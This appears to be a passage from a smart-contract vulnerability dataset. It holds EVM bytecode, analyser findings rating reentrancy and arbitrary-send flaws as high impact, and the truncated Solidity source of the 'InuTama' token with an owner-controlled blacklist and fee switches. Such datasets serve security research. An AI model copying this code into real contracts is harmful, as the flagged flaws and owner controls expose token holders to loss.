fffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f1565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550674563918244f400006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127db90919063ffffffff16565b61286190919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfd6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d916025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb06023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d686029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121ef57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8457601454811115611ed657600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7a5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8357600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561202f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209d5750601360179054906101000a900460ff165b156121355742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ed57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214030610ae2565b9050601360159054906101000a900460ff161580156121ad5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c55750601360169054906101000a900460ff165b156121ed576121d3816124f1565b600047905060008111156121eb576121ea47612372565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122965750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a057600090505b6122ac848484846128ab565b50505050565b600083831115829061235f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612324578082015181840152602081019050612309565b50505050905090810190601f1680156123515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c260028461286190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ed573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243e60028461286190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612469573d6000803e3d6000fd5b5050565b6000600a548211156124ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd3602a913960400191505060405180910390fd5b60006124d4612b02565b90506124e9818461286190919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252657600080fd5b506040519080825280602002602001820160405280156125555781602001602082028036833780820191505090505b509050308160008151811061256657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260857600080fd5b505afa15801561261c573d6000803e3d6000fd5b505050506040513d602081101561263257600080fd5b81019080805190602001909291905050508160018151811061265057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277b578082015181840152602081019050612760565b505050509050019650505050505050600060405180830381600087803b1580156127a457600080fd5b505af11580156127b8573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ee576000905061285b565b60008284029050828482816127ff57fe5b0414612856576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d1f6021913960400191505060405180910390fd5b809150505b92915050565b60006128a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2d565b905092915050565b806128b9576128b8612bf3565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129715761296c848484612c36565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a145750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2957612a24848484612e96565b612aed565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae057612adb8484846130f6565b612aec565b612aeb8484846133eb565b5b5b5b80612afc57612afb6135b6565b5b50505050565b6000806000612b0f6135ca565b91509150612b26818361286190919063ffffffff16565b9250505090565b60008083118290612bd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9e578082015181840152602081019050612b83565b50505050905090810190601f168015612bcb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be557fe5b049050809150509392505050565b6000600c54148015612c0757506000600d54145b15612c1157612c34565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4887613877565b955095509550955095509550612ca687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1c816139b1565b612e268483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea887613877565b955095509550955095509550612f0686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9b83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307c816139b1565b6130868483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310887613877565b95509550955095509550955061316687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329083600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613371816139b1565b61337b8483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fd87613877565b95509550955095509550955061345b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353c816139b1565b6135468483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382c5782600260006009848154811061360457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136eb575081600360006009848154811061368357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370957600a54683635c9adc5dea0000094509450505050613873565b613792600260006009848154811061371d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138df90919063ffffffff16565b925061381d60036000600984815481106137a857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138df90919063ffffffff16565b915080806001019150506135e5565b5061384b683635c9adc5dea00000600a5461286190919063ffffffff16565b82101561386a57600a54683635c9adc5dea00000935093505050613873565b81819350935050505b9091565b60008060008060008060008060006138948a600c54600d54613b90565b92509250925060006138a4612b02565b905060008060006138b78e878787613c26565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b2565b905092915050565b6000808284019050838110156139a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bb612b02565b905060006139d282846127db90919063ffffffff16565b9050613a2681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5157613b0d83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6b82600a546138df90919063ffffffff16565b600a81905550613b8681600b5461392990919063ffffffff16565b600b819055505050565b600080600080613bbc6064613bae888a6127db90919063ffffffff16565b61286190919063ffffffff16565b90506000613be66064613bd8888b6127db90919063ffffffff16565b61286190919063ffffffff16565b90506000613c0f82613c01858c6138df90919063ffffffff16565b6138df90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3f85896127db90919063ffffffff16565b90506000613c5686896127db90919063ffffffff16565b90506000613c6d87896127db90919063ffffffff16565b90506000613c9682613c8885876138df90919063ffffffff16565b6138df90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220368bc0f0afb19423cee35ee0ba32efa5ce473dcf2c5b9264956fc7ada45e982a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,213 |
0xe422e709f4b9aade144e4fc52f564289a031c712
|
/*
Join with big communities to create Inu Tama
https://t.me/InuTamaETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract InuTama is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "InuTama";
string private constant _symbol = "INUTAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x395C9c2CfAa063FFebE90de6f297F8432D9F5FEd);
address payable private _marketingAddress = payable(0x395C9c2CfAa063FFebE90de6f297F8432D9F5FEd);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
